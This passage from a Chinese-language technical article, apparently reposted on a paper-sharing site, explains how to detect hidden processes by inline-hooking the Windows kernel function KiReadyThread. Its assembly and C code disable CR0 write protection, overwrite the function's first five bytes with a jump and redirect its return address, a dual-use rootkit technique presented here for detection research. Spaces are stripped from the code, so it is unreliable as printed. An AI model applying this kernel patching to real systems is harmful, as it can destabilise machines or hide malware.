  在系统内核级中,ms的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以hook的最佳原则是在自己的hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的hook的函数都是写在c文件里面的。例如hook的目标函数kireadythread。那么一般就自己实现一个:
mykireadythread(...)
{
......
callkireadythread
......
}
但是用c编译器编译出来的代码会出现一个堆栈帧:
pushebp
movebp,esp
这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实mykireadythread。
_mykireadythread@0proc
pushad;保存通用寄存器
call_cfunc@0;这里是在进入原来函数前进行的一些处理。
popad;恢复通用寄存器
pusheax
moveax,[esp+4];得到系统在call目标函数时入栈的返回地址。
movds:_orgret,eax;保存在一个临时变量中
popeax
mov[esp],retaddr;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理
jmp_orgdestfunction;跳到原目标函数中
retaddr:
pushad;原函数处理完后保存寄存器
call_hookdestfunction@0;再hook
popad;回复寄存器
jmpds:_orgret;跳到系统调用目标函数的下一条指令。
_mykireadythread@0endp
  在实现了hook过后在当调用原来的函数时(jmp_orgdestfunction),这个时候所以寄存器的值和堆栈信息和没hook的时候一样。在返回到系统的时候(jmpds:_orgret),这个时候的堆栈信息和寄存器的值和没有hook的时候也是一样。就说是中间hook层对下面和上面都是透明的。
  2.检测隐藏进程
  在线程调度抢占的的时候会调用kireadythread,它的原型为:
  voidfastcallkireadythread(inprkthreadthread);
  在进入kireadythread时,ecx指向thread。所以完全可以hookkireadythread然后用ecx的值得到但前线程的进程信息。kireadythread没被导出,所以通过硬编码来。在2000sp4中地址为0x8043141f。
voidcfunc(void)
{
ulongpkheader=0;
__asm
{
movpkheader,ecx//ecx寄存器是kireadythread中的prkthread参数
}
resumedestfunction();//恢复头5个字节

if(pkheader!=0)
{
displayname((pkthread)pkheader);
}
}
cfun是hook函数调用用来得到当前线程抢占的进程信息的。
voiddisplayname(pkthreadthread)
{
pkprocessprocess=thread->s;
peprocesspeprocess=(peprocess)process;
dbgprint("imagefilename=%s\n",peprocess->imagefilename);
}
voidhookdestfunction()//设置头个字节为一个跳转指令,跳到自己的函数中去
{
disablewriteprotect(&orgcr0);
memcpy((char*)orgdestfunction,jmpmycode,5);
enablewriteprotect(orgcr0);
}
voidresumedestfunction()//恢复头5个字节
{
disablewriteprotect(&orgcr0);
memcpy((char*)orgdestfunction,orgcode,5);
enablewriteprotect(orgcr0);
}
  除了kireadythread其他还可以hook其他内核函数,只有hook过后能得到线程或者是进程的ethread或者是eprocess结构头地址。其hook的方法都是一样的。hookkireadythread基本原来说明了,详细实现可以见我的另外一篇文章《内核级利用通用hook函数方法检测进程》。
  结论
以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。
信息安全将是未来发展的一个重点,攻击和侦测都有一个向底层靠拢的趋势。进程隐藏和侦测只是信息安全中的很小的一个部分。未来病毒和反病毒底层化是一个不可逆转的事实。通过对系统系统底层分析能更好的了解病毒技术,从而能够有效的进行查杀。为以后从事信息安全方面的研究奠定一个好的基础。

  中国论文网(www.lunwen.net.cn)免费学术期刊论文发表,目录,论文查重入口,本科毕业论文怎么写,职称论文范文,论文摘要,论文文献资料,毕业论文格式,论文检测降重服务。

返回电子论文列表
展开剩余(